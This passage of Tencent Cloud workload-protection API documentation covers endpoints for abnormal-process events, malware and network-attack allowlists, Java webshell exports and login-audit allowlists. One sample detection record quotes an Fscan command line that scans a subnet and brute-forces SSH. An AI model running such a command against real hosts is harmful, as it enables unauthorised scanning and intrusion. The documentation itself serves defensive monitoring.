Filters.N	No	Array of Filter	Filtering criteria • HostId - String - required: no - host ID • IpOrName - String - required: no - host IP or host name • VirusName - String - required: no - virus name • ProcessId - String - required: no - process ID • FilePath - String - required: no - process path • BeginTime - String - required: no - process startup time - begin • BeginTime - String - required: no - process startup time - end • Status - String - required: no - status for filtering: 0: pending; 1: scanning; 2: scanned; 3: exited; 4: trusted

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Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Sorting order: [ASC|DESC]
By	No	String	[StartTime: Process start time | DetectTime: Last detection time]

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of RiskProcessEvent	List of exceptional processes Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtain Exceptional Process List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRiskProcessEvents
<Common request parameters>

{
"Limit": 30
}
```

Output Example

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```
{
"Response": {
"List": [
{
"CheckPlatform": [
"1"
],
"CmdLine": "./dev -h 10.***.**.1/24 -m ssh -nopoc -t 200 -o ssh.txt ",
"DetectTime": "2023-09-16 18:30:55",
"EventId": 24,
"FilePath": "/dev/shm/dev",
"HandleStatus": 3,
"HostIp": "10.***.***.248",
"HostName": "Public-Main-Xingzhi-IT-AIAN Flow Management and Service Platform-Bac
kend -MNO Business Project-CVM2",
"MachineExtraInfo": {
"HostName": "dataHub",
"InstanceID": "ins-jvi1gdu0",
"NetworkName": "eth1",
"NetworkType": 0,
"PrivateIP": "10.*.*.*",
"WanIP": "10.*.*.*"
},
"OnlineStatus": 1,
"ProcessId": 21595,
"ReferenceLink": "https://cloud.tencent.com/document/product/296/9605",
"StartTime": "2023-09-16 18:28:00",
"SuggestSolution": "1. Check the malicious process and illegal ports and delete t
he suspicious startup items and scheduled tasks. \n2. Isolate or delete the relev
ant Trojan files. \n3. Perform risk detection on the system and enhance the prote
ction. See the details in the following link: \n[Linux] https://**.*.com/documen
t/product/296/9604 \n[Windows] https://cloud.tencent.com/document/product/296/960
5",
"ThreatDesc": "Hacking tool process is detected on the host. If it is not a behav
ior initiated by you, your host may have been compromised. General hacking tools
include malware programs such as scanner, brute force attack tools, password stea
lers, which are used by attacker to initiate attacks.",
"Uuid": "364e2cb6-e3a3-****-9abd-b87711b880e3",
"VirusName": "Linux.Scanner.Fscan",
"VirusTags": [
"scanner",
"hack_tools"
],
"WanIp": "127.5.**.**"
}
],
```


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```
"RequestId": "e8fc6e04-5b3d-405d-ab61-da7cc8be2583",
"TotalCount": 89
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ModifyMalwareWhiteList

Last updated：2024-12-06 15:39:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to edit the Trojan allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyMalwareWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Mode	Yes	Integer	Allowlist mode. 0: MD5 allowlist; 1: custom.
Id	Yes	Integer	Unique rule ID
QuuidList.N	No	Array of String	QUUID list
IsGlobal	No	Integer	Whether the allowlist applies to all hosts. 0: no; 1: yes.
MatchType	No	Integer	Matching pattern; 0 for exact match, 1 for fuzzy match (deprecated)

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FileName.N	No	Array of String	File Name (regular expression); up to 200 characters in length
FileDirectory.N	No	Array of String	File Directory (regular expression); up to 200 characters in length, content base64 encoded.
FileExtension.N	No	Array of String	File Suffix; Up to 200 characters in length, content base64 escaped (deprecated).
Md5List.N	No	Array of String	MD5 list

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing the Trojan Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyMalwareWhiteList
<Common request parameters>

{
"Id": 10,
"QuuidList": [
"xx"
],
"Mode": 0,
"Md5List": [
"xx"
```

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```
]
}
```

Output Example

```
{
"Response": {
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.

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ModifyNetAttackWhiteList

Last updated：2024-12-06 15:39:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to edit the network attack whitelist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyNetAttackWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Scope	Yes	Integer	Whether applies all hosts: 0: no; 1: yes
SrcIp.N	Yes	Array of String	Source IP. Single IP: 1.1.1.1, IP Range: 1.1.1.1-1.1.2.1, IP Range: 1.1.1.0/24
DealOldEvents	Yes	Integer	Whether to allowlist all alarms that match this rule: 1: Yes, 0: No.
Id	Yes	Integer	Rule ID
QuuidList.N	No	Array of	QUUID list

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		String	
Description	No	String	Rule description

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing the Network Attack Allowlist

This example shows you how to edit the network attack allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyNetAttackWhiteList
<Common request parameters>

{
"QuuidList": [
"05f0bcab-726c-4ea4-8109-bcd03d5598f7"
],
"Scope": 0,
"SrcIp": [
"1.2.3.5",
"1.1.1.2-1.1.1.4",
"1.2.3.0/24"
],
"DealOldEvents": 0,
"Description": "123",
"Id": 10001
}
```

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Output Example

```
{
"Response": {
"RequestId": "1a07706f-368e-49e5-8967-594826f43d0d"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.

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ExportJavaMemShellPlugins

Last updated：2024-12-06 15:39:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the Java webshell plugin information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportJavaMemShellPlugins.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: Keywords: IP or host name for fuzzy query; Pid for precise match; MainClass for fuzzy match
Where.N	No	Array of String	Export fields

3. Output Parameters

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Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting a List of Java Webshell Plugins

This example shows you how to export.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportJavaMemShellPlugins
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"TaskId": "187653"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportJavaMemShells

Last updated：2024-12-06 15:39:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of Java webshell events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportJavaMemShells.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: InstanceID and IP MachineName host name for fuzzy query; Type, status for precise match; CreateBeginTime, CreateEndTime for time period
Where.N	No	Array of String	Export fields

3. Output Parameters

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Parameter Name	Type	Description
TaskId	String	Task ID, which is used to obtain the download URL (DownloadUrl) using the asynchronous task export API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Java WebShell Event List

This example shows you how to export.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportJavaMemShells
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"TaskId": "184113"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRiskProcessEvents

Last updated：2024-12-06 15:39:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export abnormal process events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRiskProcessEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • HostId - String - Required: No - Host ID • IpOrName - String - whether required: no - host IP or host name • VirusName - String - whether required: no - virus name • ProcessId - String - whether required: no - process ID • ProcessPath - String - whether required: no - process path • BeginTime - String - whether required: no - process startup time - begin • BeginTime - String - whether required: no - process startup time - end • Status - String - whether required: no - filter by status: 0 - pending; 1 - under detection; 2 - detected; 3 - exited; 4 - trusted

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Order	No	String	Sorting method: [ASC: ascending order|DESC: descending order]
By	No	String	[StartTime: Process start time | DetectTime: Last detection time]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Abnormal Process Events

This example shows you how to export.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRiskProcessEvents
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"TaskId": "1"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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Abnormal Log-in APIs
DescribeLoginWhiteCombinedList

Last updated：2025-03-11 23:29:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of cross-region log-in allowlists after merge.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLoginWhiteCombinedList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • IpOrAlias - String - required: no - filter by host IP or alias • UserName - String - required: no - filter by username

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			• ModifyBeginTime - String - required: no - filter by modification time; start time • ModifyEndTime - String - required: no - Filter by modification time; end time

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
LoginWhiteCombinedInfos	Array of LoginWhiteCombinedInfo	List of allowlists after merge Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Log-in Audit Allowlist List (Filtering by Version Supported)

This example shows you how to obtain the log-in audit allowlist list (filtering by version supported).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeLoginWhiteCombinedList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"LoginWhiteCombinedInfos": [
{
"CreateTime": "2019-12-25 11:57:15",
"Desc": "1.1.1.1",
```

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```
"EndTime": "2020-11-21 15:16:00",
"Id": 357790160,
"IsGlobal": 0,
"Locale": "52:0:0,103:0:0,141:0:0,165:0:0,210:0:0,177:0:0",
"Locations": "Algeria, Albania, Austria, Haiti, Aland Islands, Antigua and Barbud
a",
"ModifyTime": "2019-12-25 11:57:15",
"Name": "cwp",
"Places": [
{
"CityId": 0,
"CountryId": 52,
"Location": "Algeria",
"ProvinceId": 0
}
],
"Remark": "myremark***",
"SrcIp": "1.1.1.1",
"StartTime": "2020-11-21 15:16:00",
"UserName": "root",
"Uuid": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyLoginWhiteRecord

Last updated：2024-12-06 15:42:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the log-in audit allowlist information. (The number of server lists needs to be less than 1,000.)

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLoginWhiteRecord.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
UserName	Yes	String	Allowlisted users (Multiple users are separated by commas.)
SrcIp	Yes	String	Allowlisted dimension information recorded after the update
StartTime	Yes	String	Start time
EndTime	Yes	String	End time
Remark	Yes	String	Remarks

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IsGlobal	Yes	Integer	Whether it applies to all servers: 0: no; 1: yes
Id	Yes	Integer	Allowlist ID
Hosts.N	No	Array of HostInfo	Server list
Places.N	No	Array of Place	Region list

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing Log-in Audit Allowlist

This example shows you how to edit the log-in audit allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLoginWhiteRecord
<Common request parameters>

{
"UserName": "abc",
"SrcIp": "abc",
"StartTime": "abc",
"EndTime": "abc",
"Remark": "abc",
"IsGlobal": 1,
"Id": 1,
"Hosts": [
{
```

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```
"Quuid": "abc",
"Uuid": "abc"
}
],
"Places": [
{
"CityId": 1,
"ProvinceId": 1,
"CountryId": 1,
"Location": "abc"
}
]
}
```

Output Example

```
{
"Response": {
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RuleHostDuplicateErr	Rule-based API with duplicate hosts.
InvalidParameterValue	Invalid parameter value.
LimitExceeded	The quota limit is exceeded.
MissingParameter	Missing parameter error.

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AddLoginWhiteLists

Last updated：2024-12-06 15:42:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add cross-region log-in allowlists in batches.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: AddLoginWhiteLists.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
HostLoginWhiteObj	Yes	HostLoginWhiteObj	Cross-region log-in allowlist entity
ProcessType	No	String	Synchronous event processing method: "": do not process"All": add all events that match this configuration to the allowlist"Id": add the event corresponding to the event ID to the allowlist
EventId	No	Integer	Cross-region log-in event ID. This parameter is required when ProcessType is set to Id.

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3. Output Parameters

Parameter Name	Type	Description
DuplicateHosts	Array of DuplicateHosts	Prompt list of duplicate addition Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding Cross-Region Log-in Allowlists in Batches

This example shows you how to add cross-region log-in allowlists in batches.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: AddLoginWhiteLists
<Common request parameters>

{
"EventId": 11234,
"ProcessType": "Id",
"HostLoginWhiteObj": {
"UserName": "xx",
"Remark": "xx",
"Places": [
{
"CityId": 0,
"CountryId": 0,
"ProvinceId": 135
}
],
"IsGlobal": 0,
"HostInfos": [
{
```

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```
"Quuid": "66640e61-aaaa-4632-aaaa-aaaa037e7ba0",
"Uuid": "66640e61-aaaa-4632-aaaa-aaaa037e7ba0"
}
],
"StartTime": "00:00",
"SrcIp": "1.2.3.4",
"EndTime": "00:01"
}
}
```


Output Example


```
{
"Response": {
"RequestId": "4234234",
"Error": {
"Code": "InvalidParameter.RuleHostipErr",
"Message": "No information on the corresponding host found."
}
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RuleHostDuplicateErr	Rule-based API with duplicate hosts.
InvalidParameter.RuleHostipErr	Rule-based API with incorrect host IPs.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyLoginWhiteInfo

Last updated：2024-12-06 15:42:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the log-in audit allowlist information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLoginWhiteInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
HostLoginWhiteObj	Yes	UpdateHostLoginWhiteObj	Update the allowlist information entity

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing Log-in Audit Allowlist

This example shows you how to edit the log-in audit allowlist.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyLoginWhiteInfo
&HostLoginWhiteObj.Places.0.CityId=111
&HostLoginWhiteObj.Places.0.ProvinceId=11
&HostLoginWhiteObj.Places.0.CountryId=1
&HostLoginWhiteObj.SrcIp=1.2.3.4
&HostLoginWhiteObj.UserName="aaa"
&HostLoginWhiteObj.Id=128
&HostLoginWhiteObj.Remark="updateRemark1"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RuleHostDuplicateErr	Rule-based API with duplicate hosts.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeLoginWhiteHostList

Last updated：2025-03-11 23:29:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of allowlisted machines after merge.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLoginWhiteHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Allowlist ID
Limit	Yes	Integer	Number of results to be returned. Maximum value: 1000.
Offset	Yes	Integer	Offset. Default value: 0.
Filters.N	No	Array of AssetFilters	Filtering criteria • IpOrAlias - String - required: no - host IP or alias for filtering

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
Hosts	Array of HostDesc	Server list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing the Log-in Audit Allowlist

This example shows you how to edit the log-in audit allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLoginWhiteHostList
<Common request parameters>

{
"Limit": 1,
"Id": 1,
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1
}
```

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Output Example


```
{
"Response": {
"Hosts": [
{
"MachineIp": "1.1.1.1",
"MachineName": "Machine name",
"MachineWanIp": "1.1.1.1",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Tags": [
{
"Name": "cwp",
"Rid": 1,
"TagId": 1
}
],
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RuleHostDuplicateErr	Rule-based API with duplicate hosts.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeHostLoginList

Last updated：2024-12-06 15:42:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to retrieve the log-in audit list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeHostLoginList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. The maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • Quuid - String - required: no - CVM UUID • Uuid - String - required: no - CWPP unique UUID • MachineName - String - required: no - host alias • Ip - String - required: no - host IP • InstanceID - String - required: no - host instance ID • SrcIp - String - required: no - filter by source IP • UserName - String - required: no - filter by username

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			• Status - int - required: no - status filtering: 1: normal log-in; 5: whitelisted; 14: processed; 15: ignored • LoginTimeBegin - String - required: no - filter by modification time; start time • LoginTimeEnd - String - required: no - filter by modification time; end time • RiskLevel - int - required: no - status filtering: 0: high-risk; 1: suspicious
Order	No	String	Sorting method: sort by number of requests: asc - ascending order/desc - descending order
By	No	String	Sorting field: LoginTime - occurrence time

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
HostLoginList	Array of HostLoginList	Log-in an audit list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Log-in Audit List

This example shows you how to obtain the list of log-in audit list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeHostLoginList
<Common request parameters>
```

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```
{
"Limit": 1,
"Filters": [
